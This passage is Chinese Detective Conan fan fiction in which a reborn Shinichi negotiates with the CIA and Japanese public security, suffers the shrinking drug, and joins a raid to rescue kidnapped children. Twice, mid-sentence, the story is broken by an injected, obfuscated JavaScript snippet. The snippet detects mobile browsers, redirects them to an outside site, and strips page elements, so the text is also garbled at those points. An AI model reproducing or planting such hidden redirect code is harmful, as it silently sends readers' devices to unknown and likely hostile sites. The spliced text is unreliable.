降谷零站得笔直,磕磕绊绊地说:“哦,对,新一……我,我们想听你讲故事……”说到一半,他肉眼可见地害羞起来:“我,我还想跟你踢足球……” 这两个……工藤新一不禁笑了出来。谁能想到呢,日后独当一面的公安、警察们,小时候居然一个是撒娇天才,一个紧张得说句话都结巴。 “你笑什么嘛新一——”诸伏景光又接过手机,“zero的脸红红的咯!” “才没有!hiro瞎说,新一别信他!”降谷零在背景音里大喊。 “你知道吗新一,东京最近有动画展,里面甚至有福尔摩斯的各种自创的动画形象!你真的不回来吗?哥哥说他们学校的其中一个社团是参与者,他可以带我们去逛展,但是截止到8月底,你要是不回来,那可就……” 诸伏景光和降谷零轮来轮去,絮絮叨叨地说了好多最近发生的事,工藤新一就耐心地听。在他们清脆的童声中、在那些看起来琐碎的小事里,他紧张的心情都舒缓了不少。 如果有可能,他想,就算会付出其他什么代价,他也实在不舍得他们再去卧底了。 眼看着时间一分一秒地过去,时针逐渐指向了“7”,工藤新一不得不出声打断他们:“好了好了,景光,零,我这边还有事,不聊了。你们也早点睡觉吧。” 降谷零已经聊开了,反而是两人中先一个表达不舍的:“啊,这样啊。” 诸伏景光也附和:“新一哪里来的那么多事嘛。” “好了好了,等我回去给你们带那家好吃的铁板烧好不好?”工藤新一只好哄道,好说歹说,挂断了电话。 那么接下来,就是下一场会谈了。 CIA把最终的地址定在了丰岛区附近一家闹中取静的小酒馆,已经提前踩过点、做好了布置。这是诺拉·加西娅和黑田兵卫反复拉扯争取的权利,黑田也同意了——毕竟他们人更多,不论如何都能控制住局面。 这里离板桥很有一些距离,选在这里,也只是为了更安全罢了。 酒馆里,以诺拉·加西娅、怀亚特·鲁索为代表的CIA,以及以黑田兵卫和另一名副手为代表的日本公安都已经等在里面。四个人相对而坐,在昏暗灯光下尴尬地静坐了将近十分钟后,墙上的挂钟忽然敲响八点的报时,一个黑衬衫、蓝西装的年轻人就踏着最后一声钟声走进了酒馆。 工藤新一闲庭信步般转身拉门,一边走一边摘下了帽子,却没有摘下口罩:“抱歉诸位,最近有些感冒,咳咳,我们就这样聊吧。” 39. 荆棘 好久没这么累了。 工藤新一暗地里呲牙咧嘴,面上却还得不动声色地与黑田兵卫、诺拉等人一一握手:“那么,祝我们合作愉快。” 居然已经快要十一点了。工藤新一暗忖,此时才感觉到喉咙火烧火燎一般的干涩。他哑着嗓子:“既然如此,我就先离开了。如果有需要,可以随时发短讯或者邮件给我——号码在这里,两位可以随意。”他说着,从口袋里抽出了笔,用左手在桌上的纸单上写下了一串数字。 诺拉·加西娅问他:“需要送你吗,小帅哥?” “我独来独往惯了,不习惯麻烦别人。”想充分合作,就绝对不可以在两方人面前表现出对另一方的侧重,相反,要让双方都觉得自己才是被偏重的那一方,这是他前世得来的经验之一,“哦,倒是忘记说了,虽然我这个人一向凡事都无所谓,但是对工藤新一那个孩子,还要麻烦各位多照顾些。他可能会帮上大忙也说不定。” 自己夸自己这事的确很令人羞耻,不过他今后肯定还是要以“工藤新一”这个合法身份参与行动,那就只能给他们打些预防针了——毕竟让小孩子参与扫黑行动,怎么看都说不过去才对。 两个人都怔愣着点点头。黑田兵卫问道:“那是谁?” “你很快就会认识了。”工藤新一故弄玄虚,朝他眨了眨眼。 工藤新一拎起背包走出酒馆,街上已然人迹罕至。夏夜的晚风吹过他的衣角,路灯下少年的身影被逐渐拉得颀长、又逐渐虚幻,接着被下一个路灯重新映出矮矮的影子,周而复始。 他身体里那些服用了解药之后的不良反应终于在刚刚消弭殆尽,然而很快就要迎来新一轮的折磨了。工藤新一如今已经确定,APTX-4869的解药与先前的情况大不一样,药效仍在,但后遗症、副作用极不稳定,也许真应了他先前的推测,这和那莫名其妙的恐慌症状一样,也是他改动宫野一家生命轨迹的代价。 估计APTX自身也会有这样的“负面效果”加持吧。 他绕了许多路、计程车换了一辆又一辆,等到终于察觉不到公安和CIA的跟踪后,走进一家全天候营业的大型便利店,买了一条毛巾和一瓶水,随后借用了卫生间。 这里的路人较多,他打算在这里变回小孩子的样子,以最大限度地躲避那些特工们的探究。 深吸一口气,塞下那枚红白色的药丸,再以水吞服,之后就可以静静地坐在马桶盖上等待药效发作了。工藤新一嘴里咬着刚买的毛巾,怕自己挺不住惹来店员察看。这家店的卫生间隔间还比较充裕,除非店员格外关注,否则就不会注意到“江户川”进去就没出来,反倒走出了一个没进去过的小孩。 十分钟后,疼痛逐渐蔓延。工藤新一条件反射般咬紧了牙根,却逐渐发现,似乎,疼痛感不太对。 是不是比之前……温和了不少? 工藤新一不信这药会如此好心,反倒担心是抗药性或者“代价”导致的时间延长。果不其然,他在卫生间一直等待了近两个小时,除了缓慢增加的疼痛以外,他没有感受到任何变小的征兆。 那瓶水已经被满身大汗的他喝净了。疼痛感和脱水的感觉萦绕全身,眼见着今天怕是要交代在这,工藤新一着实没有办法,打通了工藤优作的电话。 在这里吃药真是今天做出的最糊涂的决定。 工藤优作接到电话时差点想先叫救护车。 电话里少年的声音简直可以用气若游丝来形容,工藤优作听得心惊胆战,听清楚地址之后,搭在椅背上的薄外套都来不及拿,揣着车钥匙就飞身赶去停车场。到了地方,他也顾不得店员惊愕的表情,半扶半抱着把少年从便利店接出来。 工藤新一居然还有闲心对着店员解释:“抱歉,可能是肠胃炎犯了有点虚脱,吓到你了。” 店员也的确吓到了:“需……需不需要给您叫个救护车?” 工藤优作一个眼刀制止了还想说话的工藤新一,对店员说:“没关系,我是他哥,我的车就停在不远处,劳您费心。” 出了店门,工藤新一就哼哼唧唧地问他:“车在哪啊……好远……” “这附近都不让停车,就在旁边巷子里——二十步,就二十步。”工藤优作一手揽着他的腰把他扶正,一手把他的胳膊搭在自己肩膀上架着。幸亏这孩子长大了也比我矮——工藤优作庆幸,要不然新一会走得更辛苦。 工藤新一现在的感觉确实有点像虚脱,双腿软绵无力,发着烧,四肢骨节酸痛难忍。他整个人几乎都压在了工藤优作身上,被他一步一步拖着走,脸颊的汗水一滴一滴砸在了肩膀上。 然而离开店门口不过七八步,他的心脏忽然迸发出了剧烈的疼痛,APTX-4869像是终于蓄力完成,药效瞬间上涌,疼得他下意识蜷缩身体,连带着工藤优作一起摔在了地上。 “啊……”工藤新一咬牙,从牙缝里憋出痛吟,“躲……躲起……” 工藤优作听不太清,但看新一的样子估计是坚持不到车上了。幸好旁边就是居民区之间窄窄的灰暗小巷,他一咬牙,把工藤新一连拖带抱地往巷子里进、远离大街。找到一处安全的地方之后,他也顾不得干净还是脏污,直接在墙根靠坐下来,环抱着他的儿子。 工藤新一对这些已经无力感知了。那种熟悉的、如同蚂蚁噬骨的滋味遍布全身。他像是抓住救命稻草一样把自己埋在工藤优作怀里,双手紧紧攥着他的肩膀直至用力到颤抖泛白。他不知日月不知冷暖不知天地,就仿佛处在世界的漩涡之中,被禁锢得动弹不得。 而在工藤优作看来,其实只是片刻而已,他怀里额头滚烫的少年人嘴里念着疼,却逐渐没了力气,紧紧箍住他双臂的手逐渐滑落,随之而来的是身体的奇异变化——他慢慢地变小、抽搐、变小、颤抖,衣服逐渐变得宽松,鼻梁上的眼镜随着晶莹的汗水滚落在他胸前。工藤新一昏过去了,也终于变成了小孩的样子。 结束了。 工藤优作松了一口气。然后他试图起身,没成功,发现自己的眼前也是天旋地转,黑白的条纹闪现在眼前。那是心神过于紧绷产生的生理应激反应。 青年看了看摔在一旁、用来装小孩子衣服的背包,又想了想就在隔壁的车子,决定还是上车再给小孩换衣服,省的着凉。他拿已经过于宽大了的黑衬衫和西装把男孩裹得严严实实,然后再一发力、起身,适应了晕眩之后,迈出一步。 ——咔嚓。 工藤优作疼得差点坐回去。约莫刚刚把新一拉进巷子里的动作实在太大,一时不察,把腰闪了。 果然百无一用是书生。工藤优作头一回认同了这句话。 “那个……” 工藤优作猛地抬头,一个熟悉的倩影站在巷口,有些胆怯地问:“需要帮助吗?” 她刚开始连头都不敢抬,然后小心翼翼地偷偷瞄了一眼,才忽然松了口气似的:“优作!” 有希子!——工藤优作差点再次跌坐回去。新一还穿着大人衣服趴在他怀里昏睡,他干笑:“好巧。” 一点都不好!工藤优作欲哭无泪。 是了,新一今晚上会面的地方是丰岛区,为了掩人耳目绕到了米花町,刚刚便利店的位置恰好是有希子回家的路线之一,而有希子今天据说有毕业聚餐会很晚回家……倒也不是完全的巧合,只是时间和地点的交汇有些过分契合了。 “我刚刚在对面,看见两个人拉拉扯扯地往里面走,还以为又有恶性事件发生,听见没动静才过来看看。”藤峰有希子穿着漂亮的蓝色连衣裙,手里提着同色系高跟鞋,看起来刚刚还打算拿高跟鞋打人,“原来是优作。怎么了吗?” 她站在街上,灯光昏暗,只能借着路灯看清工藤优作的半张脸而已,鉴于他穿的也是蓝色的衣服,一时没看清同样被蓝色衣服包裹住的新一。 虽然没有特意约定过,但工藤优作和工藤新一一致认为不能把有希子变成对抗组织的“参与者”,如果没有更大的危险,那就连“知情者”也不要做。因此工藤优作根本不敢动:“没怎么,刚刚有个朋友喝多了,我已经送他回家了。” “你抱着什么?”有希子大概是困了,语气有些绵软,“怎么不出来?” 说着,她秉持着山不就我我来就山的积极态度,走近工藤优作。工藤优作下意识退了半步,有希子道:“嗯?怎么回事?莫非是你有外遇?” 这一下,适应了巷子里的昏暗,有希子立刻就发现了青年肩上的一小团“蓝色西装”。她好奇地凑过去,工藤优作想躲,却碍于腰伤没成功——反倒成功叫有希子发现了迷迷糊糊、满脸红晕的工藤新一。 “这怎么了?”有希子的睡意一下没了大半。 工藤优作急速想借口:“新一不小心掉湖里了,我领他回酒店。” 没等他说完,有希子就拉着他往自己家走:“这都多晚了还去什么酒店啊,我家就旁边那里你不是知道吗?走吧,家里没人,到我那好好歇着。” 妥善安置好男孩,为他敷了退热贴后,有希子才把工藤优作拉到客厅。 “你不是说你和新一在大阪?”她开门见山。 工藤优作支支吾吾,乱七八糟地跟她说了一堆有的没的。好在藤峰有希子虽然疑惑,但更信任这一大一小,眼见工藤优作词穷,只是问:“新一这是怎么回事?你们遇上坏人了?” “哦,他,”工藤优作想了想,“在泥坑摔了一跤又掉进水里,衣服都不能穿了,这几天也一直有点感冒,应该是受惊就发烧了。” 可是就算衣服都不能穿了,也用不着穿着全套的大人衣服吧?连袜子和鞋子都是? 藤峰有希子知道这两人在一起糊弄她,但也相信他们并不会对自己不利,相反,更可能是保护她。此时新一还病着,她也就没深究。 现在可以说两个人都没了睡意。百无聊赖,藤峰有希子把电视打开,声音调低,播到了无聊的晚间新闻。这样一来,既能有点事做方便清醒,也不至于打扰到男孩的休息。 “本台播报,今日下午三时许,在银座附近发生的银行抢劫案仍然没有进一步进展公布。据悉,被歹徒打晕的保安先生已经在医院接受治疗,目前仍未醒来。警视厅搜查一课称……” “又是抢劫?”工藤优作看着屏幕左上角的“重播”字样,“今天的新闻我都没看。” “嗯哼,”藤峰有希子拿来一罐药膏,“在银座附近呢,说是还有棒有刀的,可吓人了。对了优ちゃん,你腰是不是伤到了?要不要给你涂药膏?” 工藤优作的脸一下子爆红,仔细看看,有希子的目光也是躲闪游离。 “不,不,不用了,我,我自己来就好。”工藤优作咽了口唾沫。 有希子把药膏递给他。 一边上药,工藤优作顺势聊起了天:“银行抢案……说起来,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137916|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和新一第一次见面就是因为杯户町的银行抢案。” 藤峰有希子好奇:“怎么说?” 工藤优作就与她聊那天的经过。 凌晨四点,客厅的灯和电视都还开着,有希子和工藤优作却离开客厅,并肩坐在客房的地毯上,靠在床边和彼此的肩膀上半睡不睡。接近黎明,工藤新一好不容易退下去的烧又高了起来,男孩像猫儿似的在被窝里拱来拱去,有希子揉揉眼睛,起身迷迷糊糊地拿额头试了试男孩的额温。 虽然又高了些,但并没有先前那样吓人了。 工藤优作也慢慢醒过来,有希子就唤他:“再冲一份退烧药吧,优作。” 等他端着小杯回来,就看见有希子坐在床头,把工藤新一扶坐起来,示意工藤优作喂他喝药。 工藤新一此时更是迷糊,坐在昏暗但风格熟悉的房间里、被妈妈揽在怀里,眼前是爸爸递来的药……他早在巷子里就昏了过去,一时间没分清这是梦境还是现实,于是只有最真实的想法:“不喝……苦……” 工藤优作新奇:“他一年四季都喝冰咖啡的人也会嫌药苦?” 工藤新一觉得他梦里的爸有点脱离人设:“你应该说,‘这个药喝完了给你吃糖’。”小时候明明是这么哄的。 有希子轻轻白了工藤优作一眼,拿过药:“新一乖,喝完药就给你吃糖好不好?” 工藤新一又摇摇头:“不对。” 正要拿糖去的工藤优作和有希子对视了一眼:又哪不对了? “妈妈应该叫我‘新ちゃん’。”他一本正经地说。 工藤优作吓得冷汗直流,有希子却一时没往那边想:“新一的妈妈也叫新一‘新ちゃん’吗?” “嗯!” “那好,”有希子哄他,“新ちゃん,我们喝完药就吃糖好不好?” 说的话对了,工藤新一终于顺利地喝光了药。他喝药的速度很快,完全不磨人,之后其实也没有再要糖,像是隐约发现自己并不在梦里的前世。 他窝在被子里,手指攥着有希子的睡衣一角,呢喃着入睡。 好苦啊,妈妈…… 第二天中午,有希子和优作仍然睡在地毯上,两个人抱着团像两只帝企鹅。工藤优作的手机在两个人中间响起来,响了第二次才接起来。 工藤优作也没看是谁,迷蒙地问:“谁啊?” 那头的人乐了:“刚睡醒?工藤君昨晚又熬夜写小说了?” “没,”听出来是佐藤正义的声音,工藤优作清醒了些,连工藤新一和有希子都一起睁开了眼,“但确实睡得晚。有什么事吗?” “哦,没什么,就是问问你有没有看昨天的新闻,有一起抢劫案,一下子想起来你和新一君了,就给你打个电话问候问候。”佐藤正义说。 工藤新一的烧已经退了。听见这话,小声问有希子:“什么抢劫案啊?” 有希子“啊”了一声,顶着乱糟糟的头发宕机了片刻,才跟他说起昨晚新闻上播出的案件。 于是工藤新一又凑到工藤优作旁边:“让佐藤警官小心,注意安全,可别一不留神把想犯人放跑掉了。” 其实当年佐藤正义“愁思郎”案的案件经过并非如此——犯人不是想逃跑、而是想逃到另一个世界——但眼下,工藤新一只能这么提醒。 工藤优作会意,与佐藤正义复述了一遍。 佐藤正义一愣,随后哈哈大笑:“放心吧工藤君,抓到的犯人都要戴手铐,而且一定有两个人以上一起出警,犯人没那么容易跑掉的。” 可是你想让他自首啊,佐藤警官。工藤新一回想。所以你一个人去、也没有给他戴上手铐。最终为了救人被货车撞倒,又因为救护车来得太迟牺牲在当场。 既然已经痊愈,工藤新一就坚持要回板桥区的酒店去住。有希子拗不过他,就给他带了一大堆的口罩和她自己的厚外套。工藤优作的车还停在那个巷子里,三个人出去吃了顿不知道算午饭还是晚饭的下午茶,工藤二人组就坐上车奔驰而去。 藤峰有希子站在原地,满脑子都是昨晚工藤优作肩膀的温度和工藤新一那句“妈妈应该叫我‘新ちゃん’。” 工藤优作特意绕到那个关押着孩子们的别墅区远远转了一圈。 他们开到这里时,天色又已经暗淡下来。工藤新一把车窗打开,吹着凉爽的山风,实地观察着周遭的路况。 这附近都是山区高速,车道只有一个半那么宽,附近再没有别的任何野路。车道旁边有些是峭壁,有些是深深的树林,对于暗处探访埋伏来说,真是再合适不过的地形。至于目标别墅,表面貌不惊人,周遭都是树林,临近的人家少说隔了一百米,且此处人迹罕至,现在这附近除了组织的藏身地,所有房子都是空闲状态。 工藤优作又绕了一圈,这次离得更远了些:“再绕一次就回去休息哦——把窗户关小一点,你还没完全好呢。” 工藤新一隔着口罩咳嗽两声,依言关了半扇窗:“好啊,我们这就走吧。” 他们开向回酒店的方向,路上遇到另一条山路的并道。工藤优作适当减速,山体那边却闪电一般冲出一道黑色的骑行身影。 工藤新一的心跳震耳欲聋,冷汗不知不觉布满了全身,惹得他又不住地咳嗽起来。 但他知道那是谁——全黑的骑装、哈雷轰鸣着、金黄的长发在风中起舞。 又是贝尔摩德。 40. 塞途 贝尔摩德在落脚处停下,掏出手机,收信箱里又多出了几个红点。 首先是朗姆的。连发了四条,真是急性子。 “既然是那位的要求,那你也参与吧。” “三天后行动,你去找皮斯可。” “既然入局,该说什么不说什么,就要记住。” “Time is money.” 若是论资历,贝尔摩德自然比不上朗姆,但她倒也不需要伏低做小,淡淡回了一句:“耐心才有收获。急躁只会惹来黄雀在后。” 然后是一个不记名号码的来信。 “我同意你参与这次行动,实验室你也可以进。这样可以吗?” 贝尔摩德嘴角一勾,眼神里却没有感情。显然,这个答复她并不奇怪,在刚刚看过朗姆的讯息后她就已经知道了。 “好的,boss。感谢您的厚爱。” “刚刚截获的情报,黑田长官。CIA那边也已经同步了。” 已至深夜,两份通讯记录被呈到黑田兵卫面前。通讯的一方是目标所在的山间别墅,另一方则是组织的某位干部。 第一份记录写着: “大人有什么需要吗?” “时间地点。” “您是……朗姆大人通知过的那位?” “嗯。‘Timeismoney.’” “好的大人。地点没有变,还是松户那边。时间则是6号的凌晨0点——” 这段通讯像是忽然截断了,第二份通讯记录显然是紧接着的下一段对话。 “怎么回事?” “抱歉大人,这边许久没人住,电路有些问题。” “时间。” “哦,6号的0点,大人。” “知道了。” “嗯……”诺拉·加西娅沉吟片刻,“你们核验过了?” “是的,加西娅长官。”下属说,“我们和公安一起截取的情报,没问题的。” “行。”诺拉摆摆手,“你们下去吧。” 三分钟后,“江户川先生”的邮箱里面收到了两份几乎一模一样的邮件,上面写着同样一句话:“行动时间6号凌晨0点,地点不明确,在松户附近。” 工藤新一咔哒一下锁屏,屋里失去唯一的光源,越发显得寂静。他躺在床上,看着天边一弯明月,渐渐困意上涌。而窗外的月光逐渐淹没在晚风中。 此次行动的总指挥官是黑田兵卫。 与前世晚些时候不同,“江户川先生”并没有那时江户川柯南的凝聚力和大家的拥护,也许他的立场和情报能力值得信任,但策划行动仍无法服众,就连更亲近些的CIA也是。而作为他“代理人”的工藤新一,现在也只是一个在大家眼中聪明非凡的天才少年罢了。 工藤新一明白现状,也不强求。黑田兵卫的能力值得他信任,他们之间的差距更多的是在信息差、对抗黑方的经验,而不是个人能力。因此工藤新一只在一旁给建议,如果采纳当然最好,不然,那他就多看着些。 “我们这次的行动,主要目的有两个。”黑田兵卫说,“其一,解救被困儿童;其二,找到组织的基地窝点。” 会议室内,CIA和日本公安相对而坐,而特许参与的工藤优作和工藤新一则坐在整间会议室的后方角落里。男孩手里甚至还抱着不知道谁给他的一杯果汁。 “根据我们目前对组织的了解,这种行动他们一定会故作疑兵谨慎行事,所以要做好分头行动的准备,没有统一指令时一定要注意隐蔽。”他接着说,目光扫过会议室的组长精英们,“公安这边出二十人,七辆车,CIA是七人三车,各自留一辆车留守组织别墅驻地,沿线有哨岗,其余根据实际情况调整,没有问题吧。” 这话主要是对CIA说的,诺拉和怀亚特对视一眼,点点头。 “至于工藤先生和新一君,”他转头看向角落里的二人,“为了保证安全,还请与信息人员一道在安全的地方等待吧。” 只要能看着新一,工藤优作对这安排是无所谓的。毕竟他只握笔杆子没练过身板子,这种硬碰硬的追逐缉凶副本本就不大适合他。 工藤新一目前也不好提出意见。左右临场出事,他用滑板跟去也不费力,于是也同意了。 会议结束,工藤新一和工藤优作并排走出公安的临时安全屋。老旧的筒子楼,楼道里是灰尘和某种腐败的气息。窗外已是漆黑一片,感应灯在安静的环境中“呲啦”地亮起,和鱼贯出入的精英们形成了难以言喻的对比。 工藤优作的手机在他口袋里遮遮掩掩地响起来。 “喂?” 这一栋楼都是公安的地方,安静得有点紧张,工藤优作莫名觉得“私人电话”这种东西就不应当存在其中,拉着工藤新一一路跑上了屋顶。 果不其然是有希子。 “优ちゃん,佐藤警官被车撞伤了。”有希子似乎是在某处人流密集的地方,隐约听得见嘈杂人声与车辆的轰鸣,“我刚刚看到佐藤警官被送上了救护车,旁边还有警车待命……会不会是之前那个抢劫案啊?” 工藤新一似有所觉,放开抓着果汁瓶子的手,攥了攥拳,之后抬头看他。 “什么?”工藤优作一听,知道事情一定与新一先前的提示有关,忙把声音调高,蹲下来凑到男孩耳畔一起听。 “我听周围的人说佐藤警官好像是被推到车前的,大货车躲闪不及,还是撞上了。不过救护车倒是来得很快,我刚刚远远看过去,佐藤警官的意识也很清醒。”藤峰有希子站在人群中,看见了另一位眼熟的松本清长警官,“不过,刑警们好像过来抓人了,所以我才说会不会是之前那个抢劫案。” 工藤新一点点头。 工藤优作回她:“也许是。不过今晚警察先生们应该会很忙,我们明天上午电话问候一下吧。” “嗯。”藤峰有希当然也知道,于是看见救护车离开就也离开了,转而问,“新ちゃん还发烧吗?” “早就不烧了,你放心,今天晚上吃了一大盘意面呢。”工藤优作回答。 按说那场发烧也是奇怪。工藤新一想到。第一次的发烧应当是APTX-4869的副作用,其实只是药效发作的外在表现而已,本质上并不是生病。可凌晨四点再次发热的那一次却与先前感受不同,更像是……凭空出现的代价。 可他最近没做什么吧?就连提醒佐藤警官也是在那之后的事了啊。 等等,不对。工藤新一回忆起自己恍惚中听到的新闻播报。 “……据悉,被歹徒打晕的保安先生已经在医院接受治疗,目前仍未醒来……” 他记得当年“愁思郎”案中,银行的那名受牵连的保安是被歹徒鹿野修二当场击打致死,而不是仅仅受伤昏迷。虽然据鹿野修二本人说那本就是个意外,但现在的意思是……那个意外被蝴蝶掉了? 毕竟,关于这桩抢劫案,他从头到尾除了提醒佐藤正义小心之外没有插过任何一手。 工藤新一叮叮当当地吸了一口加冰的果汁,手无意识地摸着有些生锈的铁栅栏的毛边。蝴蝶掉也是好事,只是如果哪怕是这种完全风马牛不相及的事情都会受影响,那么以后能用的上的前世情报就得多斟酌了。 他思考的间隙,工藤优作和藤峰有希子的话题已经转到了以后要读什么大学、学什么专业。藤峰有希子享受舞台和镜头,显然要投身演艺界,所以青睐衹园艺术大学,工藤优作就陪着她分析利弊,从日本大学一路侃侃而谈到世界舞台,甚至考虑了出国留学他去陪读。距离有希子高中毕业还有一个学期,她成绩算得上优,演艺事业已经起步,对她来说,日本的演艺类大学几乎都是唾手可得,但国外的也许就有难度了。 “那就选你喜欢的吧。”工藤优作说,“去国外试一试也行,考试时间通常是十二月份以后,以有希子的天赋,绝对是没问题的——就算出了意外也不耽误国内的考试,不是还有日本的学校托底吗?” 藤峰有希子笑得花枝乱颤:“好啦好啦就你会说话。哦对了,前几天不是有个导演找我,要我去试镜龙马的姐姐乙女嘛,我已经入选啦,下周开始就又要忙起来了——还要准备升学,优作你可得帮我——” “文化课方面本人还是在行的,你放心好了,藤峰同学。” “好啊,工藤老师~” 工藤新一就在一旁尴尬地咬着吸管,心想:那个乙女的角色简直是一炮而红的程度,其实老妈根本不用担心什么升学问题的吧……算了,你们两个师生师生叫得高兴就好。 煲完了电话粥,工藤优作拉着男孩下楼。刚一握上手,工藤新一就倒吸了一口冷气。 “怎么了?”工藤优作连忙捧过男孩的手。 于是就在他们两人的注视之下,工藤新一左手的食指指尖肉眼可见地“裂”开了一道细细的伤口,慢慢地,有血珠从伤口处缓缓流出。 工藤优作傻眼:“我……我手上没藏刀片啊。” 工藤新一则比他更明白这种“非自然伤口”的成因,琢磨一会儿,看了看刚刚自己随手摆弄的铁栅栏:“没事,应该是刚刚不小心划到了吧。” 大约一小时之前划到的手,直到刚刚才产生伤口。这显然不是正常的受伤了……也许是救下佐藤正义警官的代价。 只是不知道这个代价会持续多久,等回去后,他还是试验一下靠谱。 说干就干。回到酒店之前,工藤新一特意买了一把美工刀带在身上。等到工藤优作去洗澡,就悄悄地拿出来,比划着在手背上划了一刀。 果然。工藤新一看着没有丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137917|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫痕迹的手背,默默开始计时。中途工藤优作洗漱完毕,工藤新一就拿着手表钻进浴室。 整一小时后,新鲜犹如刚刚才划破的伤口徐徐显露,带来微微的刺痛感。工藤新一这才确定:这就是挽救佐藤正义的代价。 前世佐藤正义警官牺牲,一方面是由于卡车的撞击,另一方面,则是雨天路况不好,救护车迟迟没有赶到的缘故。相比之下,如今虽然佐藤正义仍然被卡车撞击、但今夜并不是前世下雨那一夜,因此救护车来得非常及时。 及时与不及时,这种时间的因果就对应了他现在的代价,这代价说好也不尽然,说坏倒也算不上——大概可以命名为伤害延迟。 九月六日晚十二时,公安与CIA已经在别墅附近以及板桥到松户的方向上沿途潜伏待命。 工藤新一和工藤优作坐在通信车上,工藤优作穿着一身一看就不是来作战的休闲西装,工藤新一则穿着牛仔套装,黑色短袖、灰蓝色的长袖外套加上牛仔短裤,还抱着他的滑板、戴着背带,整个人整装待发,像是街头的滑板少年。 工藤新一紧盯着各个车辆传来的影像,须臾,四辆一模一样的厢型车从别墅地下室驶出,分别从不同路线开向东南方。 黑田兵卫迅速分配人员追击,八辆黑色轿车分别追过去,通信也随时辅助监控定位同步给他们。 组织会故布疑阵是早就想得到的事,四辆车都追踪也是值得的。可如何确定到底是哪辆车,依然是此次行动的重中之重。 工藤新一心头隐隐地不安。 二十分钟过去,那四辆车依然没有任何异样,继续在不同的道路上前进,然而又都一直隐隐朝松户方向前去,致使无论哪一辆车,都难以抉择放弃与否。 “之前那两通通讯录音,能给我们听一下吗?”随着时间的流逝,工藤优作显然也发现了不妥。 几个后勤人员面面相觑,其中领头的那个点点头:“黑田长官说过,只要不过分的要求都可以满足。给他们吧。” 工藤新一接上耳机听起来。 “大人有什么需要吗?” “时间地点。” “您是……朗姆大人通知过的那位?” “嗯。‘Timeismoney.’” “好的大人。地点没有变,还是松户那边。时间则是6号的凌晨0点——” “——怎么回事?” “抱歉大人,这边许久没人住,电路有些问题。” “时间。” “哦,6号的0点,大人。” “知道了。” 虽然特意用机器变过音,但这说话方式显然是贝尔摩德。工藤新一并不意外,倒是那句“Timeismoney”更引人注目些。朗姆在这次事件中似乎总是若隐若现——也许这批小孩子、这个基地,实际都是朗姆的手笔。 而关于这里面的关键信息——时间信息是截断的。如果真的有问题,那就是这个“截断”了。 黑衣组织定下的转移时间可能根本不是第二通通讯里补充的“零点”整,这可能根本是个找补的谎言,实际时间也许应该是零点以后才对——那就是说,黑衣组织发现了他们的追踪,现在这四辆车都是障眼法——那么,仍留守在别墅区的特工们就很危险了。 工藤新一跳上椅子,躲开后勤警员的阻拦,取下耳机,打开黑田兵卫、诺拉和四名留守的特工的通讯:“我们的窃听被发现了,现在行驶的四辆车大概都是假的,真的那一辆也许还在别墅里!” 诺拉第一个回应他:“新一君?你说的是真的吗?” “我们窃听的电话,时间信息是截断的,那就是组织发现我们的时间节点,那之后的第二通电话,能找补的部分就只剩下出发时间了,”工藤新一按着耳机说,“原定时间并不是零点整,而应该是零点到一点之间的某个时候——总而言之,留守别墅区的警员探员们一定要小心,最好马上撤离!” 不论黑田兵卫是否同意——工藤新一抱着滑板跳下通信车——无论如何,他都要回别墅去看一看。 工藤优作没拦住他,也没有其他交通工具,跑了百米就追不上了,只能气喘吁吁地看着他踩上滑板,山风猎猎地往别墅的方向奔走。 就在男孩离开后不久,别墅区留守的特工传来消息:又有车从别墅区开出,货厢门缝处,隐约看得见粉色衣料的一角。 所有人心头一跳。 之前那四辆车……真的是调虎离山。 此时唐突撤离是万万不能的事,那四名留守的特工分出两人,继续执行追踪任务。黑田兵卫火速命令手下一半人掉头支援,剩下一半人则稳住黑衣组织,让他们仍然以为自己被拖住。然而,那四辆被当作烟雾弹的车里却都伸出了黑洞洞的枪。 局势胶着。 41. 为山 工藤新一踩着滑板穿梭在林间,几乎呈直线地翻山越岭,抄近路朝着别墅区前进。对决已经悄悄开始,而这段路也许就是他的大脑最后能宁静思考的时候了。 他脑海中闪过很多想法,掠过很多人,在机械的前进中忽地回忆起朗姆被捕时的面孔。 那个臃肿的中年人脸上挂着诡异的笑,路过江户川柯南时,用那只黑洞洞的、已经彻底废掉的眼睛紧盯着他:“如今优柔寡断,竟然输给了这么一个小鬼……” 如果二十年后是他的“如今”,那么现在,尚且年轻、尚且沉不住气、尚且凡事做绝的朗姆会怎么做? 每个人都有自己的立场。如果说在这件事里,朗姆是幕后的既得利益者,作为组织权力的象征,结合先前的对话,他要小孩子的目的应该是培养亲信;皮斯可是他的合作方,他是个商人,那么攫取的也就是利益再无其他,那么最多就是个“中间人”;而贝尔摩德——根据他所掌握的情报来看,此时的贝尔摩德在组织里还并不“声名显赫”,更像个被强塞进来的关系户,却已经有了独狼的架势。能让她主动参与进来的,除了分一杯羹,其中必定与她的秘密有关。 也就是说……工藤新一眯了眯眼。 那些孩子原定要被送往的所谓“基地”,很可能是组织的一处实验室。虽然如今已经不大可能直接跟踪进去,但这些无法被送进去的孩子们会被转运到哪? 答案显而易见:朗姆的其他据点。天赋卓绝,那就留下从小培养;资质平平,就一刀切地塞进实验室。像是当时对待“扶不上墙的”沼渊己一郎一样。 